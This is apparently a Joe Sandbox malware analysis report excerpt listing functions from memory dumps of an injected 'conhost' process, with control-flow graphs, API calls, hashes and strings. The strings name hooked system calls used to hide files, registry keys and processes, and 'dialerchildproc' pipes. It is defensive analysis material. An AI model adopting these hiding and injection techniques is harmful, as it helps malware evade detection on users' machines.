                                            • Instruction Fuzzy Hash: F7512A76311B8486EB54CFA2E5483AB77B1F78AB9AF044128DA4A07B58DF3CC0478B11
                                            Function 000001AFBC541D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65threadCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: CurrentThread$AddressHandleModuleProc
                                            • String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
                                            • API String ID: 4175298099-1975688563
                                            • Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
                                            • Instruction ID: 38780d9e275decb6f7e3629786390a6c342e927e0320f4316570c73c2a372ae6
                                            • Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
                                            • Instruction Fuzzy Hash: BD3162B970294AA0FA04EBE5ED517F76331A71E39BF80503BD44A035699E78824BC772
                                            Function 000001AFBC516910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 209 1afbc516910-1afbc516916 210 1afbc516951-1afbc51695b 209->210 211 1afbc516918-1afbc51691b 209->211 212 1afbc516a78-1afbc516a8d 210->212 213 1afbc516945-1afbc516984 call 1afbc516fc0 211->213 214 1afbc51691d-1afbc516920 211->214 218 1afbc516a8f 212->218 219 1afbc516a9c-1afbc516ab6 call 1afbc516e54 212->219 229 1afbc516a52 213->229 230 1afbc51698a-1afbc51699f call 1afbc516e54 213->230 216 1afbc516922-1afbc516925 214->216 217 1afbc516938 __scrt_dllmain_crt_thread_attach 214->217 221 1afbc516931-1afbc516936 call 1afbc516f04 216->221 222 1afbc516927-1afbc516930 216->222 225 1afbc51693d-1afbc516944 217->225 223 1afbc516a91-1afbc516a9b 218->223 232 1afbc516aef-1afbc516b20 call 1afbc517190 219->232 233 1afbc516ab8-1afbc516aed call 1afbc516f7c call 1afbc516e1c call 1afbc517318 call 1afbc517130 call 1afbc517154 call 1afbc516fac 219->233 221->225 235 1afbc516a54-1afbc516a69 229->235 242 1afbc5169a5-1afbc5169b6 call 1afbc516ec4 230->242 243 1afbc516a6a-1afbc516a77 call 1afbc517190 230->243 244 1afbc516b22-1afbc516b28 232->244 245 1afbc516b31-1afbc516b37 232->245 233->223 262 1afbc5169b8-1afbc5169dc call 1afbc5172dc call 1afbc516e0c call 1afbc516e38 call 1afbc51ac0c 242->262 263 1afbc516a07-1afbc516a11 call 1afbc517130 242->263 243->212 244->245 246 1afbc516b2a-1afbc516b2c 244->246 247 1afbc516b39-1afbc516b43 245->247 248 1afbc516b7e-1afbc516b94 call 1afbc51268c 245->248 252 1afbc516c1f-1afbc516c2c 246->252 253 1afbc516b4f-1afbc516b5d call 1afbc525780 247->253 254 1afbc516b45-1afbc516b4d 247->254 270 1afbc516b96-1afbc516b98 248->270 271 1afbc516bcc-1afbc516bce 248->271 259 1afbc516b63-1afbc516b78 call 1afbc516910 253->259 274 1afbc516c15-1afbc516c1d 253->274 254->259 259->248 259->274 262->263 312 1afbc5169de-1afbc5169e5 __scrt_dllmain_after_initialize_c 262->312 263->229 283 1afbc516a13-1afbc516a1f call 1afbc517180 263->283 270->271 279 1afbc516b9a-1afbc516bbc call 1afbc51268c call 1afbc516a78 270->279 272 1afbc516bd0-1afbc516bd3 271->272 273 1afbc516bd5-1afbc516bea call 1afbc516910 271->273 272->273 272->274 273->274 293 1afbc516bec-1afbc516bf6 273->293 274->252 279->271 304 1afbc516bbe-1afbc516bc6 call 1afbc525780 279->304 301 1afbc516a21-1afbc516a2b call 1afbc517098 283->301 302 1afbc516a45-1afbc516a50 283->302 298 1afbc516c01-1afbc516c11 call 1afbc525780 293->298 299 1afbc516bf8-1afbc516bff 293->299 298->274 299->274 301->302 311 1afbc516a2d-1afbc516a3b 301->311 302->235 304->271 311->302 312->263 313 1afbc5169e7-1afbc516a04 call 1afbc51abc8 312->313 313->263
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910632317.000001AFBC510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFBC510000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc510000_conhost.jbxd
                                            Similarity
                                            • API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
                                            • String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
                                            • API String ID: 190073905-1786718095
                                            • Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                            • Instruction ID: 9356bc4a8a526faad4d80347390502cc071dd5f6295710e752788fcfcdb77c87
                                            • Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                            • Instruction Fuzzy Hash: FC818C3171224186F650EBE5D8493FB22F0E79FF82F58813DDA454769ADF38C9478622
                                            Function 000001AFBC54CE28 Relevance: 18.1, APIs: 12, Instructions: 112COMMONLIBRARYCODE
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            • GetLastError.KERNEL32 ref: 000001AFBC54CE37
                                            • FlsGetValue.KERNEL32(?,?,?,000001AFBC550A6B,?,?,?,000001AFBC55045C,?,?,?,000001AFBC54C84F), ref: 000001AFBC54CE4C
                                            • FlsSetValue.KERNEL32(?,?,?,000001AFBC550A6B,?,?,?,000001AFBC55045C,?,?,?,000001AFBC54C84F), ref: 000001AFBC54CE6D
                                            • FlsSetValue.KERNEL32(?,?,?,000001AFBC550A6B,?,?,?,000001AFBC55045C,?,?,?,000001AFBC54C84F), ref: 000001AFBC54CE9A
                                            • FlsSetValue.KERNEL32(?,?,?,000001AFBC550A6B,?,?,?,000001AFBC55045C,?,?,?,000001AFBC54C84F), ref: 000001AFBC54CEAB
                                            • FlsSetValue.KERNEL32(?,?,?,000001AFBC550A6B,?,?,?,000001AFBC55045C,?,?,?,000001AFBC54C84F), ref: 000001AFBC54CEBC
                                            • SetLastError.KERNEL32 ref: 000001AFBC54CED7
                                            • FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000001AFBC550A6B,?,?,?,000001AFBC55045C,?,?,?,000001AFBC54C84F), ref: 000001AFBC54CF0D
                                            • FlsSetValue.KERNEL32(?,?,00000001,000001AFBC54ECCC,?,?,?,?,000001AFBC54BF9F,?,?,?,?,?,000001AFBC547AB0), ref: 000001AFBC54CF2C
                                              • Part of subcall function 000001AFBC54D6CC: HeapAlloc.KERNEL32 ref: 000001AFBC54D721
                                            • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001AFBC550A6B,?,?,?,000001AFBC55045C,?,?,?,000001AFBC54C84F), ref: 000001AFBC54CF54
                                              • Part of subcall function 000001AFBC54D744: HeapFree.KERNEL32 ref: 000001AFBC54D75A
                                              • Part of subcall function 000001AFBC54D744: GetLastError.KERNEL32 ref: 000001AFBC54D764
                                            • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001AFBC550A6B,?,?,?,000001AFBC55045C,?,?,?,000001AFBC54C84F), ref: 000001AFBC54CF65
                                            • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001AFBC550A6B,?,?,?,000001AFBC55045C,?,?,?,000001AFBC54C84F), ref: 000001AFBC54CF76
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: Value$ErrorLast$Heap$AllocFree
                                            • String ID:
                                            • API String ID: 570795689-0
                                            • Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
                                            • Instruction ID: 9ede5e17a133d8cdd443798b43a5455692ac10fb17c7b844fd534250ebeaf30f
                                            • Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
                                            • Instruction Fuzzy Hash: B9414C3030324446FA69E7E5D9513FB21715F8F7B2F24073CE8A6476DEDA28A4439222
                                            Function 000001AFBC542244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
                                            • String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
                                            • API String ID: 2171963597-1373409510
                                            • Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
                                            • Instruction ID: 90a8a70573f0f178612f4669759f69e3701d181fc140a2367f235691bcf0b889
                                            • Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
                                            • Instruction Fuzzy Hash: 1B21307671565482F710CB65E5443BB63B1F78ABA6F500229DA5903BA8CF3CC14BCB11
                                            Function 000001AFBC519944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 467 1afbc519944-1afbc5199ac call 1afbc51a814 470 1afbc5199b2-1afbc5199b5 467->470 471 1afbc519e13-1afbc519e1b call 1afbc51bb48 467->471 470->471 472 1afbc5199bb-1afbc5199c1 470->472 474 1afbc519a90-1afbc519aa2 472->474 475 1afbc5199c7-1afbc5199cb 472->475 477 1afbc519d63-1afbc519d67 474->477 478 1afbc519aa8-1afbc519aac 474->478 475->474 479 1afbc5199d1-1afbc5199dc 475->479 482 1afbc519da0-1afbc519daa call 1afbc518a34 477->482 483 1afbc519d69-1afbc519d70 477->483 478->477 480 1afbc519ab2-1afbc519abd 478->480 479->474 481 1afbc5199e2-1afbc5199e7 479->481 480->477 485 1afbc519ac3-1afbc519aca 480->485 481->474 486 1afbc5199ed-1afbc5199f7 call 1afbc518a34 481->486 482->471 493 1afbc519dac-1afbc519dcb call 1afbc516d40 482->493 483->471 487 1afbc519d76-1afbc519d9b call 1afbc519e1c 483->487 490 1afbc519ad0-1afbc519b07 call 1afbc518e10 485->490 491 1afbc519c94-1afbc519ca0 485->491 486->493 501 1afbc5199fd-1afbc519a28 call 1afbc518a34 * 2 call 1afbc519124 486->501 487->482 490->491 505 1afbc519b0d-1afbc519b15 490->505 491->482 494 1afbc519ca6-1afbc519caa 491->494 498 1afbc519cba-1afbc519cc2 494->498 499 1afbc519cac-1afbc519cb8 call 1afbc5190e4 494->499 498->482 504 1afbc519cc8-1afbc519cd5 call 1afbc518cb4 498->504 499->498 512 1afbc519cdb-1afbc519ce3 499->512 535 1afbc519a48-1afbc519a52 call 1afbc518a34 501->535 536 1afbc519a2a-1afbc519a2e 501->536 504->482 504->512 509 1afbc519b19-1afbc519b4b 505->509 514 1afbc519b51-1afbc519b5c 509->514 515 1afbc519c87-1afbc519c8e 509->515 516 1afbc519df6-1afbc519e12 call 1afbc518a34 * 2 call 1afbc51baa8 512->516 517 1afbc519ce9-1afbc519ced 512->517 514->515 518 1afbc519b62-1afbc519b7b 514->518 515->491 515->509 516->471 520 1afbc519d00 517->520 521 1afbc519cef-1afbc519cfe call 1afbc5190e4 517->521 522 1afbc519b81-1afbc519bc6 call 1afbc5190f8 * 2 518->522 523 1afbc519c74-1afbc519c79 518->523 531 1afbc519d03-1afbc519d0d call 1afbc51a8ac 520->531 521->531 548 1afbc519c04-1afbc519c0a 522->548 549 1afbc519bc8-1afbc519bee call 1afbc5190f8 call 1afbc51a038 522->549 528 1afbc519c84 523->528 528->515 531->482 546 1afbc519d13-1afbc519d61 call 1afbc518d44 call 1afbc518f50 531->546 535->474 552 1afbc519a54-1afbc519a74 call 1afbc518a34 * 2 call 1afbc51a8ac 535->552 536->535 540 1afbc519a30-1afbc519a3b 536->540 540->535 545 1afbc519a3d-1afbc519a42 540->545 545->471 545->535 546->482 556 1afbc519c0c-1afbc519c10 548->556 557 1afbc519c7b 548->557 567 1afbc519bf0-1afbc519c02 549->567 568 1afbc519c15-1afbc519c72 call 1afbc519870 549->568 573 1afbc519a76-1afbc519a80 call 1afbc51a99c 552->573 574 1afbc519a8b 552->574 556->522 558 1afbc519c80 557->558 558->528 567->548 567->549 568->558 577 1afbc519df0-1afbc519df5 call 1afbc51baa8 573->577 578 1afbc519a86-1afbc519def call 1afbc5186ac call 1afbc51a3f4 call 1afbc5188a0 573->578 574->474 577->516 578->577
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910632317.000001AFBC510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFBC510000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc510000_conhost.jbxd
                                            Similarity
                                            • API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
                                            • String ID: csm$csm$csm
                                            • API String ID: 849930591-393685449
                                            • Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
                                            • Instruction ID: d9cc8d4e2ffe881de6f64b1d9088dc66281cbb7892283cd6c056b1c0b83efee0
                                            • Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
                                            • Instruction Fuzzy Hash: 94E1A0727067408AEB60DBA5D4883EE77B0F75AF9AF000129DE9957B59CB34C193C722
                                            Function 000001AFBC54A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 588 1afbc54a544-1afbc54a5ac call 1afbc54b414 591 1afbc54aa13-1afbc54aa1b call 1afbc54c748 588->591 592 1afbc54a5b2-1afbc54a5b5 588->592 592->591 593 1afbc54a5bb-1afbc54a5c1 592->593 595 1afbc54a690-1afbc54a6a2 593->595 596 1afbc54a5c7-1afbc54a5cb 593->596 598 1afbc54a963-1afbc54a967 595->598 599 1afbc54a6a8-1afbc54a6ac 595->599 596->595 600 1afbc54a5d1-1afbc54a5dc 596->600 601 1afbc54a9a0-1afbc54a9aa call 1afbc549634 598->601 602 1afbc54a969-1afbc54a970 598->602 599->598 603 1afbc54a6b2-1afbc54a6bd 599->603 600->595 604 1afbc54a5e2-1afbc54a5e7 600->604 601->591 614 1afbc54a9ac-1afbc54a9cb call 1afbc547940 601->614 602->591 605 1afbc54a976-1afbc54a99b call 1afbc54aa1c 602->605 603->598 607 1afbc54a6c3-1afbc54a6ca 603->607 604->595 608 1afbc54a5ed-1afbc54a5f7 call 1afbc549634 604->608 605->601 611 1afbc54a894-1afbc54a8a0 607->611 612 1afbc54a6d0-1afbc54a707 call 1afbc549a10 607->612 608->614 622 1afbc54a5fd-1afbc54a628 call 1afbc549634 * 2 call 1afbc549d24 608->622 611->601 615 1afbc54a8a6-1afbc54a8aa 611->615 612->611 627 1afbc54a70d-1afbc54a715 612->627 619 1afbc54a8ac-1afbc54a8b8 call 1afbc549ce4 615->619 620 1afbc54a8ba-1afbc54a8c2 615->620 619->620 636 1afbc54a8db-1afbc54a8e3 619->636 620->601 626 1afbc54a8c8-1afbc54a8d5 call 1afbc5498b4 620->626 656 1afbc54a648-1afbc54a652 call 1afbc549634 622->656 657 1afbc54a62a-1afbc54a62e 622->657 626->601 626->636 628 1afbc54a719-1afbc54a74b 627->628 633 1afbc54a751-1afbc54a75c 628->633 634 1afbc54a887-1afbc54a88e 628->634 633->634 637 1afbc54a762-1afbc54a77b 633->637 634->611 634->628 638 1afbc54a9f6-1afbc54aa12 call 1afbc549634 * 2 call 1afbc54c6a8 636->638 639 1afbc54a8e9-1afbc54a8ed 636->639 641 1afbc54a874-1afbc54a879 637->641 642 1afbc54a781-1afbc54a7c6 call 1afbc549cf8 * 2 637->642 638->591 643 1afbc54a8ef-1afbc54a8fe call 1afbc549ce4 639->643 644 1afbc54a900 639->644 647 1afbc54a884 641->647 669 1afbc54a804-1afbc54a80a 642->669 670 1afbc54a7c8-1afbc54a7ee call 1afbc549cf8 call 1afbc54ac38 642->670 652 1afbc54a903-1afbc54a90d call 1afbc54b4ac 643->652 644->652 647->634 652->601 667 1afbc54a913-1afbc54a961 call 1afbc549944 call 1afbc549b50 652->667 656->595 673 1afbc54a654-1afbc54a674 call 1afbc549634 * 2 call 1afbc54b4ac 656->673 657->656 661 1afbc54a630-1afbc54a63b 657->661 661->656 666 1afbc54a63d-1afbc54a642 661->666 666->591 666->656 667->601 677 1afbc54a87b 669->677 678 1afbc54a80c-1afbc54a810 669->678 689 1afbc54a815-1afbc54a872 call 1afbc54a470 670->689 690 1afbc54a7f0-1afbc54a802 670->690 694 1afbc54a676-1afbc54a680 call 1afbc54b59c 673->694 695 1afbc54a68b 673->695 679 1afbc54a880 677->679 678->642 679->647 689->679 690->669 690->670 698 1afbc54a686-1afbc54a9ef call 1afbc5492ac call 1afbc54aff4 call 1afbc5494a0 694->698 699 1afbc54a9f0-1afbc54a9f5 call 1afbc54c6a8 694->699 695->595 698->699 699->638
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
                                            • String ID: csm$csm$csm
                                            • API String ID: 849930591-393685449
                                            • Opcode ID: aafa923bcba82b6be8ae00af4d8b5db3ec9649b79742a36e3fcc25e1c44b9e43
                                            • Instruction ID: 576db2d50c6e80d86bf80a81f27f825a650e1082b246601f807f7de4570e6378
                                            • Opcode Fuzzy Hash: aafa923bcba82b6be8ae00af4d8b5db3ec9649b79742a36e3fcc25e1c44b9e43
                                            • Instruction Fuzzy Hash: 47E15C72706B8086EB60DBA6D4813EE77B4F75A799F100129EE8957B99CB34C483C712
                                            Function 000001AFBC54F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: AddressFreeLibraryProc
                                            • String ID: api-ms-$ext-ms-
                                            • API String ID: 3013587201-537541572
                                            • Opcode ID: 38dcbd5a2a2d0ec7fa1d86277db557ef3bef89b38fead37e513f868cac2f4410
                                            • Instruction ID: 8fd665ad3d6a43e79665574afa831bb785300a6f9772e5c33205258536be721d
                                            • Opcode Fuzzy Hash: 38dcbd5a2a2d0ec7fa1d86277db557ef3bef89b38fead37e513f868cac2f4410
                                            • Instruction Fuzzy Hash: AE419332313A4051EA55CB9AEC047F722A5B74EBA2F55423DDD0A87798EE38C4478326
                                            Function 000001AFBC54104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 739 1afbc54104c-1afbc5410b9 RegQueryInfoKeyW 740 1afbc5411b5-1afbc5411d0 739->740 741 1afbc5410bf-1afbc5410c9 739->741 741->740 742 1afbc5410cf-1afbc54111f RegEnumValueW 741->742 743 1afbc5411a5-1afbc5411af 742->743 744 1afbc541125-1afbc54112a 742->744 743->740 743->742 744->743 745 1afbc54112c-1afbc541135 744->745 746 1afbc541147-1afbc54114c 745->746 747 1afbc541137 745->747 749 1afbc54114e-1afbc541193 GetProcessHeap call 1afbc556168 GetProcessHeap HeapFree 746->749 750 1afbc541199-1afbc5411a3 746->750 748 1afbc54113b-1afbc54113f 747->748 748->743 752 1afbc541141-1afbc541145 748->752 749->750 750->743 752->746 752->748
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: Heap$Process$AllocEnumFreeInfoQueryValue
                                            • String ID: d
                                            • API String ID: 3743429067-2564639436
                                            • Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
                                            • Instruction ID: 04181c2e7f66b8c3f70104f866a28de6053adefb728d7090c5dfecc15bcdf0c4
                                            • Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
                                            • Instruction Fuzzy Hash: 17416D77215B84C6E760CF61E4457AB77B1F389B99F048129DA8A07B58DF38C44ACB11
                                            Function 000001AFBC54D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • FlsGetValue.KERNEL32(?,?,?,000001AFBC54C7DE,?,?,?,?,?,?,?,?,000001AFBC54CF9D,?,?,00000001), ref: 000001AFBC54D087
                                            • FlsSetValue.KERNEL32(?,?,?,000001AFBC54C7DE,?,?,?,?,?,?,?,?,000001AFBC54CF9D,?,?,00000001), ref: 000001AFBC54D0A6
                                            • FlsSetValue.KERNEL32(?,?,?,000001AFBC54C7DE,?,?,?,?,?,?,?,?,000001AFBC54CF9D,?,?,00000001), ref: 000001AFBC54D0CE
                                            • FlsSetValue.KERNEL32(?,?,?,000001AFBC54C7DE,?,?,?,?,?,?,?,?,000001AFBC54CF9D,?,?,00000001), ref: 000001AFBC54D0DF
                                            • FlsSetValue.KERNEL32(?,?,?,000001AFBC54C7DE,?,?,?,?,?,?,?,?,000001AFBC54CF9D,?,?,00000001), ref: 000001AFBC54D0F0
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: Value
                                            • String ID: 1%$Y%
                                            • API String ID: 3702945584-1395475152
                                            • Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
                                            • Instruction ID: b4fb10e0bd821bb90d771797cd825dec259d757af549efa02600a6ec217a53ee
                                            • Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
                                            • Instruction Fuzzy Hash: F2114FB070624441FE68D7A6D9513FB61715B4E7F2F14533CD869476DEEE28C4439222
                                            Function 000001AFBC547510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
                                            • String ID:
                                            • API String ID: 190073905-0
                                            • Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                            • Instruction ID: 4c276401e6b07849e28d725c5ae24e27cf9fe6cc4b029f8c515fdfe5c7574d1b
                                            • Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                            • Instruction Fuzzy Hash: 8B816C317126414AFA50EBE6D8413FB26B9A74F7C2F54443DD944877AAEA28C847C722
                                            Function 000001AFBC549DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: Library$Load$AddressErrorFreeLastProc
                                            • String ID: api-ms-
                                            • API String ID: 2559590344-2084034818
                                            • Opcode ID: 9a692e6453de9d4801212d2d0819b84da1bdd69154ddd7f321b39c2fb227d254
                                            • Instruction ID: 1bf297185459e1f3749083b5b94245ac2559e7d542d06831f3353b28b8811062
                                            • Opcode Fuzzy Hash: 9a692e6453de9d4801212d2d0819b84da1bdd69154ddd7f321b39c2fb227d254
                                            • Instruction Fuzzy Hash: 79318331313A40A1EE51DB82E441BF622B8B74EBA2F590539DD2D07798EF39C4578322
                                            Function 000001AFBC553DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
                                            • String ID: CONOUT$
                                            • API String ID: 3230265001-3130406586
                                            • Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
                                            • Instruction ID: 45b764daeb888eda74b040fe41895a6ac71cf6c072de84bcaec88c86bd5a56f6
                                            • Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
                                            • Instruction Fuzzy Hash: 88114C35721A8086E750CB92E84437A76B0B78EFE6F044238EA5A877A4CF38C5168751
                                            Function 000001AFBC543790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: CurrentProcessProtectVirtual$HandleModule
                                            • String ID: wr
                                            • API String ID: 1092925422-2678910430
                                            • Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
                                            • Instruction ID: 61de933238f85d0120607603ebe1d371eff6c87b6cd979c0a610ae74ff4f9cd7
                                            • Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
                                            • Instruction Fuzzy Hash: 73113C3A716B8182EF54DB61E4043BAA6B0F74AB96F440039DE8907768EF3DC507C715
                                            Function 000001AFBC545B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: Thread$Current$Context
                                            • String ID:
                                            • API String ID: 1666949209-0
                                            • Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
                                            • Instruction ID: ee4c367193eeb8418473a595f6046abae3a775b9afc04da9853d15902fd05d41
                                            • Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
                                            • Instruction Fuzzy Hash: 6CD19D76209B4882DA70DB46E4943AB77B0F38DB85F500126EACD47BA9DF3CC552CB51
                                            Function 000001AFBC542F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000023.00000002.1910671563.000001AFBC540000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001AFBC540000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_35_2_1afbc540000_conhost.jbxd
                                            Similarity
                                            • API ID: Heap$Process$AllocFree
                                            • String ID: dialer
